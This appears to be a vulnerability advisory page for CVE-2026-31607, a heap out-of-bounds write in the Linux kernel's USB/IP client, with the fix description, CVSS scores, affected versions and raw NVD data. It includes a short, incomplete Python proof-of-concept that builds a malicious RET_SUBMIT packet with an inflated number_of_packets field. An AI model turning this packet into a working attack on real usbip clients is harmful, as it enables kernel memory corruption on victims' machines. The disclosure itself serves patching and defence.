CVE-2026-31607

Description

In the Linux kernel, the following vulnerability has been resolved: usbip: validate number_of_packets in usbip_pack_ret_submit() When a USB/IP client receives a RET_SUBMIT response, usbip_pack_ret_submit() unconditionally overwrites urb->number_of_packets from the network PDU. This value is subsequently used as the loop bound in usbip_recv_iso() and usbip_pad_iso() to iterate over urb->iso_frame_desc[], a flexible array whose size was fixed at URB allocation time based on the *original* number_of_packets from the CMD_SUBMIT. A malicious USB/IP server can set number_of_packets in the response to a value larger than what was originally submitted, causing a heap out-of-bounds write when usbip_recv_iso() writes to urb->iso_frame_desc[i] beyond the allocated region. KASAN confirmed this with kernel 7.0.0-rc5: BUG: KASAN: slab-out-of-bounds in usbip_recv_iso+0x46a/0x640 Write of size 4 at addr ffff888106351d40 by task vhci_rx/69 The buggy address is located 0 bytes to the right of allocated 320-byte region [ffff888106351c00, ffff888106351d40) The server side (stub_rx.c) and gadget side (vudc_rx.c) already validate number_of_packets in the CMD_SUBMIT path since commits c6688ef9f297 ("usbip: fix stub_rx: harden CMD_SUBMIT path to handle malicious input") and b78d830f0049 ("usbip: fix vudc_rx: harden CMD_SUBMIT path to handle malicious input"). The server side validates against USBIP_MAX_ISO_PACKETS because no URB exists yet at that point. On the client side we have the original URB, so we can use the tighter bound: the response must not exceed the original number_of_packets. This mirrors the existing validation of actual_length against transfer_buffer_length in usbip_recv_xbuff(), which checks the response value against the original allocation size. Kelvin Mbogo's series ("usb: usbip: fix integer overflow in usbip_recv_iso()", v2) hardens the receive-side functions themselves; this patch complements that work by catching the bad value at its source -- in usbip_pack_ret_submit() before the overwrite -- and using the tighter per-URB allocation bound rather than the global USBIP_MAX_ISO_PACKETS limit. Fix this by checking rpdu->number_of_packets against urb->number_of_packets in usbip_pack_ret_submit() before the overwrite. On violation, clamp to zero so that usbip_recv_iso() and usbip_pad_iso() safely return early.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (versions prior to commit 2ab833a16a82)

Linux Kernel (versions prior to commit 5e1c4ece08cc)

Linux Kernel (versions prior to commit 885c8591784d)

Linux Kernel (versions prior to commit 8d155e2d1c41)

Linux Kernel (versions prior to commit 906f16a836de)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC simulation for CVE-2026-31607
# This script simulates a malicious USB/IP server sending a crafted RET_SUBMIT packet.

import socket
import struct

# USB/IP headers constants
OP_REP_SUBMIT = 0x0003

# Malicious configuration: Set number_of_packets higher than allocated
MALICIOUS_NUM_PACKETS = 10000  

def send_malicious_response(client_sock):
    # Construct a basic USB/IP RET_SUBMIT header (simplified)
    # struct usbip_header_basic {
    #   uint32_t command;
    #   uint32_t seqnum;
    #   uint32_t devid;
    #   uint32_t direction;
    #   uint32_t ep;
    # } __packed;
    
    # struct usbip_header_ret_submit {
    #   int32_t status;
    #   int32_t actual_length;
    #   int32_t start_frame;
    #   int32_t number_of_packets;  <-- The vulnerable field
    #   int32_t error_count;
    # } __packed;

    cmd = struct.pack("<I", OP_REP_SUBMIT)
    seqnum = struct.pack("<I", 1)
    devid = struct.pack("<I", 1)
    direction = struct.pack("<I", 1)
    ep = struct.pack("<I", 1)
    
    status = struct.pack("<i", 0)
    actual_length = struct.pack("<i", 0)
    start_frame = struct.pack("<i", 0)
    # Inject the malicious value here
    number_of_packets = struct.pack("<i", MALICIOUS_NUM_PACKETS) 
    error_count = struct.pack("<i", 0)

    header = cmd + seqnum + devid + direction + ep
    ret_submit = status + actual_length + start_frame + number_of_packets + error_count
    
    print(f"[*] Sending malicious RET_SUBMIT with number_of_packets={MALICIOUS_NUM_PACKETS}")
    client_sock.send(header + ret_submit)

print("[!] This is a simulation of the network packet causing the vulnerability.")
print("[!] Exploitation requires a Linux kernel usbip client to connect to this server.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31607
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31607
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31607/
[4] VulDB https://vuldb.com/cve/CVE-2026-31607
[5] https://git.kernel.org/stable/c/2ab833a16a825373aad2ba7d54b572b277e95b71
[6] https://git.kernel.org/stable/c/5e1c4ece08ccdc197177631f111845a2c68eede3
[7] https://git.kernel.org/stable/c/885c8591784da6314f9aa82fa460ac69f9f79e5f
[8] https://git.kernel.org/stable/c/8d155e2d1c4102f74f82a2bf9c016164bb0f7384
[9] https://git.kernel.org/stable/c/906f16a836de13fe61f49cdce2f66f2dbd14caf4
[10] https://git.kernel.org/stable/c/ef8ebb1c637b4cfb61a9dd2e013376774ee2033b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31607", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:39.940", "lastModified": "2026-04-28T15:11:28.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusbip: validate number_of_packets in usbip_pack_ret_submit()\n\nWhen a USB/IP client receives a RET_SUBMIT response,\nusbip_pack_ret_submit() unconditionally overwrites\nurb->number_of_packets from the network PDU. This value is\nsubsequently used as the loop bound in usbip_recv_iso() and\nusbip_pad_iso() to iterate over urb->iso_frame_desc[], a flexible\narray whose size was fixed at URB allocation time based on the\n*original* number_of_packets from the CMD_SUBMIT.\n\nA malicious USB/IP server can set number_of_packets in the response\nto a value larger than what was originally submitted, causing a heap\nout-of-bounds write when usbip_recv_iso() writes to\nurb->iso_frame_desc[i] beyond the allocated region.\n\nKASAN confirmed this with kernel 7.0.0-rc5:\n\n BUG: KASAN: slab-out-of-bounds in usbip_recv_iso+0x46a/0x640\n Write of size 4 at addr ffff888106351d40 by task vhci_rx/69\n\n The buggy address is located 0 bytes to the right of\n allocated 320-byte region [ffff888106351c00, ffff888106351d40)\n\nThe server side (stub_rx.c) and gadget side (vudc_rx.c) already\nvalidate number_of_packets in the CMD_SUBMIT path since commits\nc6688ef9f297 (\"usbip: fix stub_rx: harden CMD_SUBMIT path to handle\nmalicious input\") and b78d830f0049 (\"usbip: fix vudc_rx: harden\nCMD_SUBMIT path to handle malicious input\"). The server side validates\nagainst USBIP_MAX_ISO_PACKETS because no URB exists yet at that point.\nOn the client side we have the original URB, so we can use the tighter\nbound: the response must not exceed the original number_of_packets.\n\nThis mirrors the existing validation of actual_length against\ntransfer_buffer_length in usbip_recv_xbuff(), which checks the\nresponse value against the original allocation size.\n\nKelvin Mbogo's series (\"usb: usbip: fix integer overflow in\nusbip_recv_iso()\", v2) hardens the receive-side functions themselves;\nthis patch complements that work by catching the bad value at its\nsource -- in usbip_pack_ret_submit() before the overwrite -- and\nusing the tighter per-URB allocation bound rather than the global\nUSBIP_MAX_ISO_PACKETS limit.\n\nFix this by checking rpdu->number_of_packets against\nurb->number_of_packets in usbip_pack_ret_submit() before the\noverwrite. On violation, clamp to zero so that usbip_recv_iso() and\nusbip_pad_iso() safely return early."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.39", "versionEndExcluding": "6.6.136", "matchCriteriaId": "860F82EF-76BF-492E-B7CE-559EC99F9C95"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2ab833a16a825373aad2ba7d54b572b277e95b71", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5e1c4ece08ccdc197177631f111845a2c68eede3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/885c8591784da6314f9aa82fa460ac69f9f79e5f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8d155e2d1c4102f74f82a2bf9c016164bb0f7384", ... (truncated)